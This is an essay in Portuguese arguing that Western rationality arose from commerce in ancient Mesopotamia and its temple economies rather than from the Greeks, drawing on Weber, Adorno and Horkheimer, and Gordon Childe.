A racionalidade e a origem da civilização ocidental

A racionalidade e a origem da civilização ocidental

Racionalidade e a origem da civilização ocidental

Michel Aires de Souza
http://filosofonet.wordpress.com/

1.Introdução

Tornou-se axiomático pensar que a nossa civilização,
fundamentado em princípios racionais e na racionalidade, surgiu com o progresso
técnico e científico iniciada com os gregos, pois foram eles que criaram uma
extensa gama de conhecimentos, como também os grandes fundamentos do pensamento
filosófico e do pensamento político. Contudo,  esse diagnóstico tornou-se
problemático. Com o avanço dos estudos e das novas descobertas na Mesopotâmia, 
nestes  últimos cem anos,  tornou-se possível demonstrar que aquela civilização
atingiu um grande desenvolvimento racional e uma grande racionalidade técnica, 
muito antes da civilização grega ter surgido. A partir deste diagnóstico,  o
objetivo deste ensaio é investigar o advento da racionalidade na
Mesopotâmia.   

2. O sentido e o significado da civilização ocidental

      Se a nossa civilização ocidental tem uma essência,
essa deve ser a condição de sua existência, sem a qual não existiria. No
sentido aristotélico, a essência é algo sem o qual aquilo não pode ser o que
é.   É o que dá identidade a um ser, e sem a qual aquele ser não pode ser
reconhecido como sendo ele mesmo. A partir disso, a nossa civilização  tem um
lado formal, tem uma forma específica de ser e de se desdobrar naquilo que é. O
que caracteriza a nossa civilização,  em sua forma específica e singular, em
sua forma material e espiritual, em sua significação histórica e teórica, é a
racionalidade. A racionalidade é a essência do mundo em que vivemos.

        A razão é a faculdade que calcula, mede, julga,
deduz, compara, relaciona e coordena os meios com os fins, ou seja, é a
faculdade que possibilita o “funcionamento abstrato do mecanismo de pensamento”
(HORKHEIMER, 1976, p.11).  Essa faculdade se tornou em sua evolução um
instrumento formal, que foi usado em todos os empreendimentos humanos.  A razão
não é apenas a faculdade interior do homem, mas ela se personificou nos
próprios objetos deste mundo. A razão tornou-se racionalidade:  ralação
calculada entre meios e fins.  A ação racional  com relação a fins baseia-se no
fato de que o indivíduo orienta sua ação levando em conta os fins, os meios e
as consequências implicadas nela. A etimologia do termo vem do latim rationem,
que significa cálculo, conta, medida, regra.  A racionalidade sendo ação
calculada  está presente no aparelho produtivo, no aparelho tecnológico e
cientifico, nas instituições políticas, no hospital, na escola, no trânsito e
na mídia.  A operação, a norma, a coordenação, a ordem, o sistema, o cálculo, a
busca da unidade define a racionalidade em sua efetividade.

           Tornou-se axiomático pensar que a civilização
ocidental surgiu com o desenvolvimento do conhecimento racional iniciado com os
gregos. Há uma crença generalizada entre pensadores modernos e contemporâneos
de que a razão e a racionalidade adquirem valor universal e significado no
moderno ocidente, e que se desenvolveram a partir das ciências, desde as
cosmologias pré-socráticas e da lógica aristotélicas.

        Weber em seu livro “Ética protestante e o espírito
do capitalismo” afirma que a racionalização do mundo ocidental se desenvolveu
principalmente pelas ciências ocidentais em suas possibilidades técnicas. “Essa
racionalização intelectualista (…) devemos à ciência e à técnica-científica”
(WEBER, 1993, p.30).  O desenvolvimento de uma ciência fundamentada em
princípios racionais e no método científico é um produto do ocidente nascida
com os gregos. A astronomia com fundamentos matemáticos, a geometria com a
prova racional, a medicina com fundamentos biológicos e bioquímicos, as
criações da mecânica e da física são produtos do moderno ocidente.  Esse
processo de racionalização das ciências ocidentais atingiu todas as esferas da
vida social, tornando o “mundo desencantado”.

        Adorno e Horkheimer também compartilham dessa
opinião. No livro “Dialético do Esclarecimento” eles analisaram o conceito de
razão em seu desdobramento dialético, que em sua evolução buscava se emancipar
da mitologia e da metafísica e que a conduziria a sua autonomia e a sua
autodeterminação. Através do conhecimento racional, que se iniciou com os
Gregos, a humanidade procurou sair da obscuridade religiosa, da superstição e
do medo das forças da natureza.  “As cosmologias pré-socráticas fixam o
instante de transição” (ADORNO; HORKHEIMER, 1985, p.19). A partir disso, o
Logos tornou-se poder e instrumento que foi utilizado para dominar os homens e
a natureza. A razão tornou-se racionalidade, tornou-se relação calculada entre
meios e fins, o cálculo define a racionalidade pela eficácia e pela capacidade
de classificar ordenar, dispor e dominar os homens e a natureza.

        É natural pensar que os Gregos criaram a civilização
ocidental, pois foram eles que criaram uma extensa gama de conhecimentos
científicos, como também os grandes fundamentos do pensamento filosófico e do
pensamento político.  Contudo, será que este diagnóstico é correto?

         Do nosso ponto de vista, a nossa civilização,
fundamentada na razão e na racionalidade, não se desenvolveu a partir dos
conhecimentos técnicos e científicos do ocidente, mas se desenvolveu a partir
da evolução do comércio no oriente, em particular na região da Mesopotâmia, no
Egito e Vale do Indo. Trata-se dessa hipótese que procuramos demonstrar.

3. O comércio impulsiona a civilização.

          A nossa civilização entendida como os modos de
existir, o cotidiano físico e simbólico, e o imaginário dos homens surgiu com o
comércio. A razão e a racionalidade da civilização ocidental foi impulsionadas
pelo comércio e se impuseram na antiguidade por volta de 3000 a.C como
fenômenos ligados à própria organização dos indivíduos para viver em
sociedade.  Foi a racionalidade do comércio que fomentou o sujeito racional,
autônomo e civilizado. 

         O comércio surge na antiguidade como um instrumento
para regularizar e normatizar a vida dos indivíduos. Os conceitos e práticas
das ciências, tais como classificar, ordenar, relacionar, separar, discernir,
comparar, prever são conceitos das próprias práticas comerciais. Esses
conceitos surgiram na história das ciências e da filosofia como reflexo das
próprias relações materiais de existência dos homens, nas práticas de
intercâmbio material e intelectual, desde as primeiras sociedades. A utilização
técnica dos conhecimentos científicos, de extrema importância para as
civilizações, foi certamente encorajada por condições econômicas. As
comunidades antigas faziam a utilização planejada e racional de recursos
materiais, intelectuais ou pessoais como meio de aquisição do lucro. As grandes
civilizações da antiguidade e o desenvolvimento técnico e cientifico só puderam
surgir porque o comércio as impulsionou.

     “Faz mais de um século que a exploração arqueológica na
região da antiga Mesopotâmia tem sido feita. O Oriente Próximo é a única região
do mundo em que é possível acompanhar as transformações técnicas, econômicas,
sociais e culturais que, ao longo de milênios, levaram o homem da condição de
caçador e coletor à de criador e agricultor e, depois, à de cidadão urbano”
(AURECH, 2004, p. 15).

       O que é intrigante, é que de fato tornou-se possível
entender a origem e o desenvolvimento inteiro daquela região. Sua origem deu-se
com a sedentarização do homem em pequenos grupos, que viviam da agricultura,
domesticação de animais e das trocas de mercadorias. Com o desenvolvimento da
irrigação e da exploração racional da terra deu-se o surgimento de pequenas
comunidades.  Em pouco tempo essas comunidades rurais, provavelmente por causa
do comércio e da abundância de matérias primas, começaram a desenvolver
características urbanas.

       Se pudéssemos voltar no tempo e sobrevoar a região
das bacias do Tigre e Eufrates, há cinco mil anos antes de cristo, ficaríamos
impressionados como ali surgiram vários impérios, um após o outro. Essa região
possui uma característica comum a toda bacia: não havia matérias primas, exceto
a argila. O único recurso natural era o betume, usado largamente em utensílios,
como recipientes e ferramentas para colar ou impermeabilizar. Faltavam
inclusive pedras e madeiras essenciais nas construções das primeiras aldeias. 
“É preciso buscar fora dali, e por vezes muito longe, a pedra, a madeira, os
metais preciosos e os minerais de cobre e de estanho necessários para fabricar
o bronze, cujo papel na vida diária aumenta desde o fim do IV milênio”
(MARGUERON, 2004, p.11).

      A falta de matérias primas não é somente uma
característica da Mesopotâmia, mas também do Egito e do Vale do Indo. Nessas
regiões não existiam as pedras, as madeiras e os minerais para se construir às
primeiras cidades. O que se pode inferir é que, para fundá-las, foi necessário
buscar matéria primas em outras regiões Esses empreendimentos consolidaram a
racionalidade na organização social e na centralização do poder econômico.
Esses povos tiveram de criar alguma forma de sistema regular e racional de
comércio ou troca para garantir o abastecimento de matérias primas. Sem o
intercâmbio de produtos e matérias primas não haveria o impulso para a
organização e a construção das cidades, uma vez que toda região era semi-árida
e não dispunha de recursos para a sua construção.

         Foi o comércio, portanto, que impulsionou o
desenvolvimento racional de drenagem de pântanos e selvas ribeirinhas, a
manutenção de canais de drenagem e de diques protetores, e os projetos das
grandes obras públicas para secar a terra e proteger a aldeia.  A civilização
de Samara,  que viveu entre 5600 e 5000 a.C. e habitava o norte e o centro da
Mesopotâmia, vai ser a primeira “sociedade hidráulica”. Para os arqueólogos os
povos de Samara foram os primeiros a desenvolver técnicas agrícolas. Eles
desenvolveram um sistema de irrigação por canais, pois este era o único modo de
explorar regiões em que as chuvas eram insuficientes. O sistema de canais era disposto
perpendicularmente aos cursos d’água, que desciam das montanhas
adjacentes.       

          Apesar dos desertos, a região da Mesopotâmia era
um oásis. Era necessário controlar as enchentes, canalizar a água, drenar os
pântanos e regar a terra árida para que ali se tornasse um paraíso
permanente.   Naquela época existia uma grande variedade de árvores frutíferas
e de vinhas silvestres, que dependiam da irrigação permanente. Existia uma
colheita regular de tâmaras, azeitonas, figos e uvas. Foi através da irrigação,
portanto, que o desenvolvimento da agricultura se tornou possível na região. O
desenvolvimento da irrigação provavelmente foi um estímulo a uma intensa
organização social e tornara-se uma necessidade a sobrevivência da comunidade.
“As condições ecológicas explicam que a agricultura de irrigação, ao impor
trabalhos consideráveis – embora não necessariamente transcedam a esfera local,
como veremos -,torna impossível uma organização individualista da agricultura.
As obras de proteção e de irrigação exigiam, para serem construídas, limpas e
conservadas, um esforço coletivo; e o seu  uso devia ser regulamentado e
disciplinado pela lei” (CARDOSO, 1988, p. 33).                    

        No último milênio que antecede a revolução urbana na
mesopotâmia,  além da irrigação que mobilizou o trabalho coletivo, várias
descobertas e acontecimentos foram importantes para impulsionar o
desenvolvimento das primeiras cidades. Naquela época os homens já possuíam o
emprego da força da tração animal, o veículo com rodas, a roda para fazer
cerâmica, os tijolos para construir casas. Mas a descoberta mais importante foi
a metalurgia e a fabricação do bronze. Descobrira-se que o cobre quando
aquecido tornar-se-ia tão plástico como a argila. A partir daí tornou-se possível
colocar o cobre derretido em moldes de argila possibilitando a fabricação de
muitos objetos, como armas, vasos, machados e facas com fio cortante. Já no
início do III milênio, a Índia, Mesopotâmia, Ásia Menor e Grécia conheciam a
liga de cobre e estanho, possibilitando a fabricação do bronze. 

        É notório que já antes da revolução urbana existia
uma grande indústria com um grande número de trabalhadores especializados, como
mineiros, ferreiros, ceramistas, transportadores, artesãos, pescadores.  Os
metalúrgicos formaram a primeira classe de especialistas.  Eles obtinham seu
sustento do excedente de alimentos produzidos pela comunidade. “Os que se
dedicam a tais atividades obtêm seu sustento, portanto, principalmente do
excesso de alimentos produzidos por seus clientes. Depois dos magos, talvez
tenham sido a primeira classe afastada da produção direta de alimentos. Não
dependem, assim, da terra para sua alimentação, mas de uma habilidade manual e
geralmente também de artigos portáteis que trocam por comida” (CHILDE, 1973,
p.82).

          Foi, portanto, por volta de 3000 a.C, no
semi-árido, em torno do mediterrâneo oriental, até o leste onde fica a Índia
que surgiram comunidades capazes de desenvolvimento cultural em valor e
significado. Mas este desenvolvimento só foi possível com a formação de um
governo teocrático. A racionalidade que surge com o comércio só adquire
verdadeira importância com os templos religiosos, que eram o centro da
administração das comunidades.

  4.Comércio e racionalidade na antiguidade oriental

        Foi somente na fase de Uruk (3500-3100) que surge o
mundo urbano e a escrita. Já no final do terceiro milênio as cidades sumerianos
tinham de 10.000 a 50.000 habitantes. Na  cidade de Ur,  estima-se que viviam
200.000 habitantes. Neste período já existiam também  grandes templos que
chegavam a ter quinze metros de altura.  Os santuários foram reconstruídos em
escala maior desde as primeiras aldeias,  perpetuando os deuses locais. Gordon
Childe (1973), explica-nos que na fase de Uruk, em Erech,  as ruínas das
sucessivas aldeias formavam Tell (despojos acumulados formando uma elevação
regular)  de quase 20 metros de altura. No lugar das primeiras aldeias foram
encontrados templos gigantesco, que mediam mais de 80 por 33 metros.  A
construção desses templos exigia um grande trabalho coletivo: a fabricação de
tijolos, a cerâmica, os vasos e vasilhas,  a importação de madeira, o
lápis-luzili, o chumbo e cobre para embelezar o santuário, pressupõe uma
substancial força de trabalho.     

      O templo era a unidade espiritual, política e
econômica da cidade. Os templos exploravam racionalmente as terras, faziam a
manutenção dos canais, praticavam o comércio  e administravam o excedente da
produção para manter uma grande população sob seu domínio.  O deus como
representante da cidade era dono das terras e dos campos de plantio,  possuía
também celeiros, armazéns, oficinas e um enorme contingente de trabalhadores
que viviam do excedente produzidos pelas terras. Segundo Gordon Childe, em
Lagash, no templo de Baü, por exemplo, “trabalhavam 21 padeiros, recebendo
‘salário’ em cevada e sendo auxiliados por 27 escravas; 25 cervejeiros, com
seus ajudantes escravos; 40 mulheres que preparavam a lã do rebanho da deusa,
fiandeiras, tecelãs, um ferreiro e outros artesãos, funcionários amanuenses e
sacerdotes” (CHILDE, 1973, p.100).

       O templo possuía ainda mercadores profissionais e
comerciantes que prestavam serviços ao deus.  O aparecimento de mercadores
especializados deveu-se à necessidade de se adquirir produtos estrangeiros em
regiões distantes, transformando essa atividade numa profissão.  Os habitantes
das cidades precisavam receber com regularidade alimentos e matéria primas
vindos dos campos ou de localidades distantes. Era indispensável buscar em
florestas e montanhas, por vezes longínquas, madeira, metais e pedras. Essas
necessidades levaram a um grande aperfeiçoamento de formas racionais de
transporte e de mão de obra.  Se importava o cobre, o bronze, a madeira para
construção, a  pedra para o moinho, o ouro, a prata, o chumbo, o estanho, o
lápis-luzúli, as conchas. Os manufaturados também eram importados,  como selos,
amuletos, contas e jarros de cerâmica. Os comerciantes eram funcionários a
serviço dos templos. Apesar disso, podiam fazer negócios por conta própria.  

          Os sumérios foram os primeiros povos a instituir a
racionalidade como força emanada do comércio, a partir dos templos religiosos.
Foi através dos Ziggurates (templo de degraus) que se desenvolveu todo um sistema
racional de contabilidade, de escrita e de administração das cidades. Gordon
Childe em seu texto “A revolução Urbana” afirma que nestas cidades teocráticas
como as do Egito e da Suméria os deuses foram os “primeiros capitalistas”.
Nestas primeiras cidades já existia toda uma contabilidade racional dos ganhos
e das perdas, da usura e do comércio dos templos. Já na Suméria o Ziggurate era
uma espécie de templo que funcionava como uma empresa que cobravam impostos,
emprestava dinheiro a juros e praticava o comércio. O Deus desses povos era
apenas uma representação imaginária que tinha sacerdotes como  interpretes de
seus mandamentos para administrar e ampliar seus bens. 

           O comércio para abastecer as cidades de matérias
primas criaram dois fatores de racionalidade para seus fins: a escrita e a
contabilidade. Foi pela necessidade de contabilizar os bens do templo que
surgiu a escrita e um sistema racional de quantificação dos produtos. O que
mais impressiona nestes templos é sua contabilidade e racionalidade para gerar
o lucro. Na Suméria, no templo de Erech, por exemplo, existia um excedente de
riqueza real acumulado nas mãos dos deuses e administrado por sacerdotes, que
exigia toda uma infra-estrutura para manter as riquezas. Existiam trabalhadores
industriais especializados e um sistema organizado de transporte. Para
registrar as transações comerciais, os Sumérios criaram um sistema de escrita
denominado “cuneiforme”. Eram sinais em forma de cunha feitos com o auxílio de
pontas de vime sobre pranchas de argila mole. A escrita surge para os registros
das oferendas.  Dessa forma, foram os Sumerianos os primeiros povos a criarem
um sistema de escrita e de contagem racionalmente estruturado.”Era necessário
descobrir uma forma de registrar as várias oferendas e sua utilização, caso o
Deus exigisse de seu sacerdote a prestação de contas da administração. E, na
verdade, no santuário de Ziggurate os escavadores encontraram uma tabuinha com
a impressão de um selo e furos que sem dúvida são números. É a mais antiga
placa de contabilidade do mundo, precursora imediata de uma longa série de
contabilidade dos templos sumerianos” (CHILDE, 1988, 114).  

        A escrita foi a condição necessária para controlar
os rebanhos, controlar a produção, anotar as mercadorias trocadas e registrar
as características dos ritos e cultos religiosos. Ela também facilitou a
organização das informações anotadas, o aprimoramento nas formas de
comunicação, a seleção dos dados, a classificação de objetos, a fixação de
pesos e medidas, a criação do sistema numérico, o desenvolvimento de
conhecimentos sobre as estações do ano e do curso das estrelas que deram origem
à astronomia e a astrologia. A escrita aparece, portanto, como fator de
racionalidade a serviço da organização do comércio e das cidades.

       Outro fator de racionalidade exigido pelo
desenvolvimento do comércio foi a padronização de pesos e medidas. Para medir,
comparar, relacionar,  os sumérios usaram aquilo que a  natureza  lhe
proporcionou: o comprimento de um dedo, um palmo, um braço, o peso de um grão
ou de uma jarra cheia. Um pedaço de terra, por exemplo,  poderia ser medido com
o antebraço, tantos côvados. O peso de um objeto  poderia ser medido em grãos.
Mas como essas medidas eram relativas, em pouco tempo tornaram-se convencionais
sendo representadas em varas de madeiras ou através de um peso de  metal.  O
tempo também começou a ser medido, provavelmente pela necessidade de saber a
época da irrigação e da colheita.  O sumerianos dividiram o dia e a noite em
doze horas, daí nosso dia de 24 horas. Dividiram a semana em sete dias  e
criaram o calendário lunar dividindo o ano em 12 ciclos.

         Para Gordon Childe (1973) o desenvolvimento das
ciências exatas  como a matemática, a aritmética e a geometria não surgiram de
forma abstrata, mas da pura necessidade do comércio e da economia que se
estabeleceu naquele período. Aos escribas não interessavam as propriedades dos
números,  nem a medida dos espaço vazio abstrato, nem o deserto e o mar
incultiváveis.  Precisavam saber – quantas sementes era necessário deixar de
lado para a semeadura,  quantos tijolos deveriam ser encomendados para a parede
de um templo, quanta terra deveriam ser acumulada para um ziggurate, ou um
dique, e quantos homens seriam necessários para terminar a tarefa no prazo
determinado. O desenvolvimento das ciências surge, portanto,  da necessidade
prática e existencial dos mesopotâmicos

        Com os sumérios houve também a racionalidade na
divisão social do trabalho e na especialização técnica. Essa especialização do
trabalho se deu principalmente por causa da descoberta e uso do bronze, que
substituiu definitivamente a pedra na manufatura de todas as espécies de armas
e ferramentas. A metalurgia era uma atividade difícil, secreta e especializada,
que era passada apenas para os descendentes. ”Provavelmente a metalurgia foi,
no início um oficio bem como uma técnica. Os ferreiros e mineiros não só
possuem habilidades peculiares, mas também são iniciados nos ‘mistérios’. (…)
Tais conhecimentos, porém, não eram divulgados entre todos os membros da
comunidade, e nem todos os membros do clã eram treinados como ferreiros. As
operações de mineração, fundição e moldagem, sendo muito complicados e exigindo
uma atenção contínua, não podem ser realizadas nos intervalos do cultivo da
terra ou do trato do gado. A metalurgia é uma tarefa que exige tempo integral”
(CHILDE, 1973, p.82).

        As técnicas de trabalhar metais, ouro, prata,
bronze, se desenvolveram com rapidez tornando-se profissões especializadas,
como joalheiros, ferreiros e metalúrgicos. Nas cidades, os cidadãos passaram a
serem classificados de acordo com sua função, incluindo os sacerdotes, os
escribas, os mercadores, os artesãos, os soldados, os camponeses, os escravos
domésticos e os estrangeiros. A divisão do trabalho e as desigualdades de
riquezas entre os cidadãos criaram à necessidade de leis e de forças capazes de
fazer cumprir as leis. A liderança natural do grupo, que nas aldeias era
exercida pelos mais velhos e sábios, cedeu lugar ao governo de um só homem,
geralmente o principal administrador do templo ou um grande chefe guerreiro,
surgindo assim a Cidade-Estado.        

     Não podemos negar que na antiguidade oriental já
existia todo um sistema racional de troca de mercadorias e uma forma de
organização regular do comércio. Já existia também um estado racional, que
incluía toda a uma hierarquia social, formada por diversas classes que
produziam e comercializava produtos em escala industrial. Existia já uma
administração orientada por regras racionais e com funcionários especializados.
A apropriação do excedente da produção, racionalmente efetuada e calculada em
termos de capital já era algo comum. Tudo era feito em termos de balanço, onde
a ação individual das partes, baseada no cálculo, tornava-se cada vez mais uma
necessidade do organismo social.    

        Por volta de 3000 a.C., as cidades dos vales dos
rios Nilo, Tigre e Eufrates já constituíam civilizações com governos
centralizado nas mãos do rei e o trabalho baseado na servidão dos camponeses.
Com o comércio a racionalidade atingiu a ordem do todo. A racionalidade 
tornou-se  um produto e ingrediente que nasce e se desenvolve com a
civilização.  Do nosso ponto de vista, portanto,  foi a racionalidade do
comércio que fundou o sujeito racional capaz de julgar, discernir, classificar,
ordenar e calcular. Foi o comércio que permitiu o funcionamento abstrato do
mecanismo de pensamento.  A razão e a racionalidade se desenvolveram
historicamente através das praticas sociais do comércio.

Bibliografia

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